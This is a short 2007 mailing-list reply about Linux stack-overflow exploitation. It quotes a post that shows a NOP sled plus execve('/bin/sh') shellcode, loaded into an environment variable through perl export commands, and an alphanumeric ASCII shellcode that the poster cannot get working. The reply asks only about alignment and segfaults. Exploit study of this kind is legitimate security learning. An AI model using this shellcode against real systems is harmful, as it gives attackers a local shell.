Re: Linux restricted ASCII Shellcode

This is just a thought, but have you checked to see if the shellcode  
is properly aligned? Are you getting a seg-fault?

Deian Stefan
www.ee.cooper.edu/~stefan
GPG fingerprint: BED8 F536 3CDB AC28 CCBB  2ECE 66C3 5810 9025 23CF



On Apr 19, 2007, at 2:39 PM, [email protected] wrote:

> I'm exploiting the stack overflow inserting the shellcode in a  
> environment variable:
>
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb 
> \x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3 
> \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc 
> \xff\xff\xff/bin/sh"'`
>
> And then overwriting de RET address to point somewhere in the NOP  
> section of "SHELLCODE". Pretty simple.
> That works perfectly.
>
> But if I try with this environment variable:
>
> export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print  
> "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0Loh 
> fhmNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBab 
> ivERSvT29"'`
>
> This do not work. I have tryed with many different ASCII shellcodes  
> all of them ripped from examples in C style.
> What I'm doing wrong?
>
>
>